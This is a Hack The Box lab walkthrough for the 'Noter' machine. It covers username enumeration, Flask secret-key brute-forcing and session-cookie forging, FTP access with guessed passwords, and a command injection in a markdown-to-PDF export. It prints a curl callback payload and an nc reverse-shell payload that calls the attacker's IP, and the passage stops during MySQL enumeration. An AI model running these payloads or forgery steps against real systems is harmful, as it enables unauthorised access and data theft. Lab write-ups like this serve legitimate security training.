HTB Noter Walkthrough
Master the art of flask cookie forging and exploit the power of MySQL in this comprehensive Hack The Box Noter Walkthrough.
As we launch into the HTB Noter Walkthrough, prepare for a riveting journey across the landscape of cybersecurity exploits. This adventure unearths intriguing paths from Flask cookie forgery to command execution in MySQL. We'll also uncover hidden paths to privileged access, highlight subtle security vulnerabilities, and illustrate the power of persistence in overcoming cybersecurity hurdles.
So, with our hacker hats firmly in place, let's take the plunge into this fascinating BOX, and uncover the multitude of learning experiences it has to offer.
The nmap scan:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-21 15:17 EDT
Nmap scan report for 10.10.11.160
Host is up (0.042s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.98 seconds
The portal looks very simple and opens with a registration/login page.
Let's sign up for an account and take a look further inside.
It seems that it is possible to record personal notes, I do not immediately identify the technology behind the portal, but on the front-end, I find that an online HTML editor called CKEditor was used, specifically version 4.6.2. It could be our foothold, so let's investigate. Searching for "CKEditor 4.6.2 exploit"...
Interesting, but most of all... it seems to work!!!
I begin to try some variations (like "<?php echo "hacked!!!"; ?>"), to understand and identify the right path.
I try to understand if I can use the navigation of other users to reach my machine (Xss<!--{cke_protected} --!><img src='http://10.10.15.3:8000' onerror=alert(XSS
)> -->Attack), hoping for some automatism of the BOX that simulates an administrator who views my notes, but apart from my consultation, no other calls are activated.
┌──(kali㉿kali)-[~/Dropbox/hackthebox/_10.10.11.160 - Noter (lin)]
└─$ php -S 10.10.15.3:8000
[Wed May 25 15:25:38 2022] PHP 8.1.2 Development Server (http://10.10.15.3:8000) started
[Wed May 25 16:05:03 2022] 10.10.15.3:37360 Accepted
[Wed May 25 16:05:03 2022] 10.10.15.3:37360 [404]: GET / - No such file or directory
[Wed May 25 16:05:03 2022] 10.10.15.3:37360 Closing
After wasting some more time on this vulnerability, I start poking through the browser's developer toolbar. My token is registered in a cookie named session, but it appears to be in httpOnly mode, which means that it is inaccessible through the browser's javascript. Let's go ahead and also do a session with the dirb in search of hidden routes.
┌──(kali㉿kali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/jsscript]
└─$ dirb http://noter.htb:5000/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu May 26 15:53:39 2022
URL_BASE: http://noter.htb:5000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://noter.htb:5000/ ----
+ http://noter.htb:5000/dashboard (CODE:302|SIZE:218)
+ http://noter.htb:5000/login (CODE:200|SIZE:1963)
+ http://noter.htb:5000/logout (CODE:302|SIZE:218)
+ http://noter.htb:5000/notes (CODE:302|SIZE:218)
+ http://noter.htb:5000/register (CODE:200|SIZE:2642)
-----------------
END_TIME: Thu May 26 16:00:45 2022
DOWNLOADED: 4612 - FOUND: 5
I know it's early, but I decided to take a look inside the forum (I was a bit lazy that day). These are the suggestions that light up some light bulbs in my mind.
What backend technology is running? How can we leverage that to read other users' notes? One of the pages you can access without any known credentials can help you find other users.
If you create an account for yourself and log in, you can trick the backend into thinking you are a different user by modifying the identifier the backend is using. Finding a valid user requires some brute force, but trying to brute-force the password isn't necessary.
Back-end technology (What is the programming language? Can you guess what is behind it?)
“Forge / forging” is when you figure out the previous question (it shouldn't be difficult for you to find smt in google to resolve this step)
Nothing that reveals to me the solution to the riddle, but I understand that perhaps I have to analyze the pages that I have left out going deeper. I find something on the login page.
Apparently, two different messages are returned in case of a wrong or non-existent user. The idea is to try to identify an existing account through brute-forcing– BurpSuite seems to be right for us.
Intercept the call...
...send to intruder and drop the original request, change the parameter name (ignore the password for now) and click "refresh"...
In the "payload" tab, select "simple list" for "payload set 1". I try to load the classic rockyou.txt file as a user list, but apparently, it's too big and can't load it. Considering the rules for HTB BOXES (in case of resolution through brute-forcing with a dictionary, the solver element must be among the first of a known list in order to reduce waiting times), I decide to use a subset of the list rockyou.txt.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/bf]
└─$ head -10000 /usr/share/wordlists/rockyou.txt > subrock-1.txt
Load the file obtained as a user list for the attack and start the attack. As the responses to the requests start to appear right-click on the first record and set the filters for the results.
Set up the regular expression to identify the server response within the HTML page and wait.
Ok, if you have really done it, you will be realizing that the BurpSuite seems really too slow, at this rate, it will take really many hours before you find something (if there is something to be found). I decide to implement something faster; a little bash script will simplify everything, allowing me to use the rockyou.txt file in full.
counter=0
while read username; do
# echo "[$username]"
VARLEN=$(curl -i -s -k -X 'POST' \
-H 'Host: noter.htb:5000' -H 'Origin: http://noter.htb:5000' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H 'Referer: http://noter.htb:5000/login' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.9' -H 'Connection: close' \
--data-binary "username=$username&password=password" \
'http://noter.htb:5000/login' | grep -i "Invalid login" | wc -c)
# echo "found $VARLEN chars"
if [ ${VARLEN} -gt 0 ]
then
echo "FOUND..... username: $username"
fi
tput cup 20 0
counter=$((counter+1))
echo "$counter / 14344392"
done < /usr/share/wordlists/rockyou.txt
And run the script:
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/bf]
└─$ sh script.sh
5311 / 14344392
FOUND..... username: blue
Great, I found a user. But now I have to understand how to use this user to access the portal without knowing the password, this time the login cannot be useful. I could try to generate the token in session, but first I have to study my token, to understand how it was generated. It would seem like a normal JWT, but something is not right for me.
The payload seems to have moved into the header where the information of the algorithm used for encryption is completely absent; at the moment the secret key used for encryption is the least of my problems.
Well, I think I spent most of the time spent on this BOX trying to identify the type of technology used to generate the token, going from online identifiers and reverse tools, but sometimes, fate plays with us and everything has cleared up when a very simple google search showed me the way; just search for "decrypt session online".
So behind it all is Flask. Now that we know what we're dealing with, let's take a look at how we can decrypt the token to know the secret-key (maybe with another little brute-forcing).
Again, the solution was clear when I search for "bruteforcing session cookie flask for secret key".
There seems to be a git repository that's right for me, but it uses some technology that I don't have at the moment; first of all, I have to install them.
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.160 - Noter (lin)]
└─$ pip3 install flask-unsign
Defaulting to user installation because normal site-packages is not writeable
Collecting flask-unsign
Downloading flask-unsign-1.2.0.tar.gz (14 kB)
Preparing metadata (setup.py) ... done
Requirement already satisfied: flask in /usr/lib/python3/dist-packages (from flask-unsign) (2.0.1)
Requirement already satisfied: itsdangerous in /usr/lib/python3/dist-packages (from flask-unsign) (2.1.2)
Requirement already satisfied: markupsafe in /usr/lib/python3/dist-packages (from flask-unsign) (2.0.1)
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from flask-unsign) (2.27.1)
Requirement already satisfied: werkzeug in /usr/lib/python3/dist-packages (from flask-unsign) (2.0.2)
Building wheels for collected packages: flask-unsign
Building wheel for flask-unsign (setup.py) ... done
Created wheel for flask-unsign: filename=flask_unsign-1.2.0-py3-none-any.whl size=14694 sha256=2ce441d86c386f9d76345f83d57c93839f48f790fa9b6e681cd11e1b8332cead
Stored in directory: /home/in7rud3r/.cache/pip/wheels/9c/4d/bb/be3369ce9eab8c52d80206453e8638522116240f51344e5095
Successfully built flask-unsign
Installing collected packages: flask-unsign
WARNING: The script flask-unsign is installed in '/home/in7rud3r/.local/bin' which is not on PATH.
Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
Successfully installed flask-unsign-1.2.0
And then I can proceed, try first to identify my token...
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.160 - Noter (lin)]
└─$ /home/in7rud3r/.local/bin/flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiaW43cnVkM3IifQ.YpNKBw.6I977pZKniMbwd6ERaqKBTeFnrw'
{'logged_in': True, 'username': 'in7rud3r'}
So let's try to decrypt using a brute-force always with the rockyou.txt.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/bf]
└─$ echo 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiaW43cnVkM3IifQ.YpNKBw.6I977pZKniMbwd6ERaqKBTeFnrw' > token.txt
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/bf]
└─$ /home/in7rud3r/.local/bin/flask-unsign --unsign --cookie --wordlist /usr/share/wordlists/rockyou.txt < token.txt
[*] Session decodes to: {'logged_in': True, 'username': 'in7rud3r'}
[*] Starting brute-forcer with 8 threads..
[!] Unhandled exception in cracker thread. Please report this issue on the official bug tracker: "https://github.com/Paradoxis/Flask-Unsign/issues" and don't forget to include the following traceback:
## Stack Trace
```
FlaskUnsignException: Secret must be a string-type (bytes, str) and received 'int'. To fix this, either add quotes to the secret 123456 or use the --no-literal-eval argument.
File "/usr/lib/python3.9/multiprocessing/pool.py", line 125, in worker
result = (True, func(*args, **kwds))
File "/home/in7rud3r/.local/lib/python3.9/site-packages/flask_unsign/cracker.py", line 69, in unsign
if session.verify(self.session, secret, legacy=self.legacy, salt=self.salt):
File "/home/in7rud3r/.local/lib/python3.9/site-packages/flask_unsign/session.py", line 29, in verify
raise FlaskUnsignException(
```
[!] Failed to find secret key after 0 attempts.
There seems to be some problem, but reading the error message immediately highlights a possible solution.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/bf]
└─$ /home/in7rud3r/.local/bin/flask-unsign --unsign --no-literal-eval --cookie --wordlist /usr/share/wordlists/rockyou.txt < token.txt
[*] Session decodes to: {'logged_in': True, 'username': 'in7rud3r'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17920 attempts
b'secret123'
It seems to have worked, let's try to regenerate the "blue" user token.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/bf]
└─$ /home/in7rud3r/.local/bin/flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret secret123
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YpfNFg.D6wxZXDEzIajxpL-4al2H5qS_z8
Perfect, unfortunately when I replace the token with mine, the system doesn't seem to recognize me. Reading the documentation on the git repository well, you can find a small variant that still saves the situation: "It might be possible that your target server uses an older version of itsdangerous. Due to an issue with timed sessions, the timestamp generation algorithm was changed . To generate an older signature, try using the --legacy option.".
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/bf]
└─$ /home/in7rud3r/.local/bin/flask-unsign --legacy --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret secret123
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YpfHDQ.tPAJi_2L-MOpcsvqiyshRcZcNK4
And new info appears.
The information I find is enough to take me to the next level; if the passwords for the users are created in a standard way I could log in with someone else's user and the signature at the bottom of the message shows the probable username of the administrator is really irresistible (ftp_admin).
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/ftp]
└─$ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:in7rud3r): blue
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||17529|)
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 02 23:05 files
-rw-r--r-- 1 1002 1002 12569 Dec 24 20:59 policy.pdf
226 Directory send OK.
ftp> dir files
229 Entering Extended Passive Mode (|||48492|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> binary
200 Switching to Binary mode.
ftp> get policy.pdf
local: policy.pdf remote: policy.pdf
229 Entering Extended Passive Mode (|||13351|)
150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
100% |**********************************************************************| 12569 2.92 MiB/s 00:00 ETA
226 Transfer complete.
12569 bytes received in 00:00 (244.97 KiB/s)
ftp> exit
221 Goodbye.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/ftp]
└─$ ls -la
total 24
drwxr-xr-x 2 in7rud3r in7rud3r 4096 Jun 1 22:50 .
drwxr-xr-x 6 in7rud3r in7rud3r 4096 Jun 1 22:47 ..
-rw-r--r-- 1 in7rud3r in7rud3r 12569 Dec 24 21:59 policy.pdf
In the pdf, in addition to the information we already know, it seems to report that all credentials are valid for all available systems. I then try with the ssh connection, confirming, but apparently, the account is disabled.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/ftp]
└─$ ssh [email protected]
The authenticity of host '10.10.11.160 (10.10.11.160)' can't be established.
ED25519 key fingerprint is SHA256:LJ+3MeGEbZyygyHU1D6FEDGufYPGvmUmxTzinq5Dazs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.160' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 01 Jun 2022 08:43:59 PM UTC
System load: 0.14
Usage of /: 81.1% of 4.36GB
Memory usage: 9%
Swap usage: 0%
Processes: 228
Users logged in: 0
IPv4 address for eth0: 10.10.11.160
IPv6 address for eth0: dead:beef::250:56ff:feb9:c5ea
157 updates can be applied immediately.
112 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
This account is currently not available.
Connection to 10.10.11.160 closed.
I had left out a folder where I found a couple of compressed files, probably a backup that I wanted to leave for later. Let's go back to download them and see what we find inside.
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/ftp]
└─$ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:in7rud3r): ftp_admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||55788|)
150 Here comes the directory listing.
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 2021 app_backup_1638395546.zip
226 Directory send OK.
ftp> binary
200 Switching to Binary mode.
ftp> get app_backup_1635803546.zip
local: app_backup_1635803546.zip remote: app_backup_1635803546.zip
229 Entering Extended Passive Mode (|||38732|)
150 Opening BINARY mode data connection for app_backup_1635803546.zip (25559 bytes).
100% |***********************************************************************| 25559 405.40 KiB/s 00:00 ETA
226 Transfer complete.
25559 bytes received in 00:00 (224.83 KiB/s)
ftp> get app_backup_1638395546.zip
local: app_backup_1638395546.zip remote: app_backup_1638395546.zip
229 Entering Extended Passive Mode (|||29664|)
150 Opening BINARY mode data connection for app_backup_1638395546.zip (26298 bytes).
100% |***********************************************************************| 26298 432.12 KiB/s 00:00 ETA
226 Transfer complete.
26298 bytes received in 00:00 (179.32 KiB/s)
ftp> exit
221 Goodbye.
As I imagined two versions of the source code of the portal. Normally, in these cases (CTF scenarios), the interesting information is reported in the points modified from one version to another (but in realistic scenarios, the code must be checked in its entirety, or at least analyzed with a code review tool). So let's highlight the differences (for a quick and easy comparison I used beyond compare).
The interesting parts seem to be where the database credentials are listed.
app.config['MYSQL_USER'] = 'DB_user' | app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'DB_password' | app.config['MYSQL_PASSWORD'] = 'Nildogg36'
attachment_dir = 'misc/attachments/' <
My attention, since at the moment the database is not reachable and I have yet to find the flag of the user, moves to a part of the portal that I had not yet analyzed, but in which I had passed, the import/export functions available for the user blue.
Looking for them in the code, I find something interesting, which could highlight a possible vulnerability.
# Export notes
@app.route('/export_note', methods=['GET', 'POST'])
@is_logged_in
def export_note():
[...]
# Export local
@app.route('/export_note_local/<string:id>', methods=['GET'])
@is_logged_in
def export_note_local(id):
[...]
# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
[...]
# Import notes
@app.route('/import_note', methods=['GET', 'POST'])
@is_logged_in
def import_note():
[...]
import note
[...]
r = pyrequest.get(url,allow_redirects=True)
md = "\n\n".join(r.text.split("\n")[:])
body = markdown.markdown(md)
cur = mysql.connection.cursor()
cur.execute("INSERT INTO notes(title, body, author, create_date ) VALUES (%s, %s, %s ,%s) ", (title, body[:900], session['username'], time.ctime()))
mysql.connection.commit()
cur.close()
[...]
export local
[...]
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{note['body']}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True)
[...]
export remote
[...]
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
[...]
I decided to try to take advantage of the export, using a script like this saved in a .md file as asked by the code:
' || curl http://10.10.14.246:8000/hacked #
Prepare a web server and try to import the notes.
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/exprem]
└─$ php -S 10.10.14.246:8000
[Thu Jun 2 23:37:19 2022] PHP 8.1.2 Development Server (http://10.10.14.246:8000) started
[Thu Jun 2 23:37:24 2022] 10.10.11.160:38714 Accepted
[Thu Jun 2 23:37:24 2022] 10.10.11.160:38714 [200]: GET /note.md
[Thu Jun 2 23:37:24 2022] 10.10.11.160:38714 Closing
[Thu Jun 2 23:37:26 2022] 10.10.11.160:38716 Accepted
[Thu Jun 2 23:37:26 2022] 10.10.11.160:38716 [404]: GET /hacked - No such file or directory
[Thu Jun 2 23:37:26 2022] 10.10.11.160:38716 Closing
Fantastic, following an import I get two calls and the second on the hacked route; the exploit works, let's perfect it to generate a reverse shell request.
As always I tried different shells, I report the one that eventually brought the expected results.
' || rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.246 4444 >/tmp/f #
And the desired result was not long in coming.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.246] from noter.htb [10.10.11.160] 50300
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc
$ pwd
/home/svc/app/web
$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 May 2 23:05 .
drwxr-xr-x 19 root root 4096 May 2 23:05 ..
drwxr-xr-x 8 svc svc 4096 Jun 2 21:16 svc
$ ls -la /home/svc
total 76
drwxr-xr-x 8 svc svc 4096 Jun 2 21:16 .
drwxr-xr-x 3 root root 4096 May 2 23:05 ..
drwxrwxr-x 3 root root 4096 May 2 23:05 app
lrwxrwxrwx 1 root root 9 Dec 27 09:04 .bash_history -> /dev/null
-rw-r--r-- 1 svc svc 3771 Dec 23 14:13 .bashrc
drwx------ 3 svc svc 4096 May 2 23:05 .cache
drwx------ 5 svc svc 4096 May 2 23:05 .config
drwx------ 5 svc svc 4096 May 2 23:05 .local
lrwxrwxrwx 1 root root 9 Dec 27 09:04 .mysql_history -> /dev/null
drwxrwxr-x 4 svc svc 4096 May 2 23:05 .npm
drwxrwxr-x 5 svc svc 4096 Jun 2 21:11 .pm2
-rw-r--r-- 1 svc svc 807 Dec 23 14:13 .profile
-rwxrwxrwx 1 svc svc 920 Jun 1 11:31 raptor_udf2.c
-rwxrwxrwx 1 svc svc 7432 Jun 2 21:16 raptor_udf2.o
-rwxrwxrwx 1 svc svc 19360 Jun 2 21:16 raptor_udf2.so
-rw-r----- 1 root svc 33 Jun 2 21:11 user.txt
$ cat /home/svc/user.txt
7******************************b
Well, we're only half done and the way to go is just as long. Let's start with the preliminary checks before moving on to more specific tools, obviously after spawning a tty shell.
$ python3 -c 'import pty; pty.spawn("/bin/sh")'
$ sudo -l
sudo -l
[sudo] password for svc:
They don't seem to want to make it easy for us. So let's not hesitate and switch to a session with linpeas.sh.
linpeas output
[...]
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: probable
Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: mint=19,[ ubuntu=18|20 ], debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: probable
Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit
.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
[+] [CVE-2017-5618] setuid screen v4.5.0 LPE
Details: https://seclists.org/oss-sec/2017/q1/184
Exposure: less probable
Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154
[...]
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privi
lege-escalation#processes
svc 1264 0.1 1.4 886596 58848 ? Ssl 07:55 1:07 PM2 v5.2.0: God Daemon (
/home/svc/.pm2)
[...]
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
[...]
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN 1275/python3
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
[...]
═════════════════════════════════════════╣ Interesting Files ╠═════════════════════════════════════════
╚═══════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-s--x 1 root root 127K Jun 3 19:28 /tmp/sh (Unknown SUID binary)
-rwsr-xr-x 1 root root 52K Jul 14 2021 /usr/bin/chsh
-rwsr-xr-x 1 root root 163K Jan 19 2021 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 84K Jul 14 2021 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-sr-x 1 daemon daemon 55K Nov 12 2018 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-x 1 root root 87K Jul 14 2021 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39K Mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 67K Jul 14 2021 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPA
RC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 44K Jul 14 2021 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 67K Jul 21 2020 /usr/bin/su
-rwsr-xr-x 1 root root 55K Jul 21 2020 /usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_
xnu-1699.24.8
-rwsr-xr-x 1 root root 39K Jul 21 2020 /usr/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 463K Jul 23 2021 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 51K Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 15K Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 23K May 26 2021 /usr/lib/policykit-1/polkit-agent-helper-1
╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-s--x 1 root root 127K Jun 3 19:28 /tmp/sh (Unknown SGID binary)
-rwxr-sr-x 1 root shadow 43K Sep 17 2021 /usr/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 43K Sep 17 2021 /usr/sbin/unix_chkpwd
-rwxr-sr-x 1 root ssh 343K Jul 23 2021 /usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 35K Jul 21 2020 /usr/bin/wall
-rwxr-sr-x 1 root crontab 43K Feb 13 2020 /usr/bin/crontab
-rwsr-sr-x 1 daemon daemon 55K Nov 12 2018 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614)
-rwxr-sr-x 1 root shadow 31K Jul 14 2021 /usr/bin/expiry
-rwxr-sr-x 1 root shadow 83K Jul 14 2021 /usr/bin/chage
-rwxr-sr-x 1 root tty 15K Mar 30 2020 /usr/bin/bsd-write
-rwxr-sr-x 1 root utmp 15K Sep 30 2019 /usr/lib/x86_64-linux-gnu/utempter/utempter
[...]
╔══════════╣ Backup files (limited 100)
-rwxr--r-- 1 root root 137 Dec 30 09:41 /opt/backup.sh
-rw-rw-r-- 1 svc svc 6421 May 2 15:08 /home/svc/.pm2/dump.pm2.bak
-rw-r--r-- 1 ftp_admin ftp_admin 25559 Nov 1 2021 /srv/ftp/ftp_admin/app_backup_1635803546.zip
-rw-r--r-- 1 ftp_admin ftp_admin 26298 Dec 1 2021 /srv/ftp/ftp_admin/app_backup_1638395546.zip
-rwxr-xr-x 1 root root 44071 Nov 21 2021 /usr/bin/wsrep_sst_mariabackup
[...]
This time the interesting points seem to be very many. It will be a long search. I omit to go too far on all the points analyzed (which are those listed above), but all the suggested exploits did not seem to be really vulnerable, not even on the remaining points I found interesting vulnerabilities. The only points were the two ports open locally which highlighted the mySQL service regarding port 3306 and a possible DNS on port 53. This reminded me of the credentials for the DB found in the source code file.
$ mysql --version
mysql --version
mysql Ver 15.1 Distrib 10.3.32-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
Let's go into detail and find out if the credentials found are really valid and deepen the version of mySQL adopted in order to find some good exploits.
$ mysql --user=root --password app
mysql --user=root --password app
Enter password: Nildogg36
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 1505
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [app]> SHOW VARIABLES LIKE "%version%";
SHOW VARIABLES LIKE "%version%";
+-----------------------------------+------------------------------------------+
| Variable_name | Value |
+-----------------------------------+------------------------------------------+
| in_predicate_conversion_threshold | 1000 |
| innodb_version | 10.3.32 |
| protocol_version | 10 |
| slave_type_conversions | |
| system_versioning_alter_history | ERROR |
| system_versioning_asof | DEFAULT |
| version | 10.3.32-MariaDB-0ubuntu0.20.04.1 |
| version_comment | Ubuntu 20.04 |
| version_compile_machine | x86_64 |
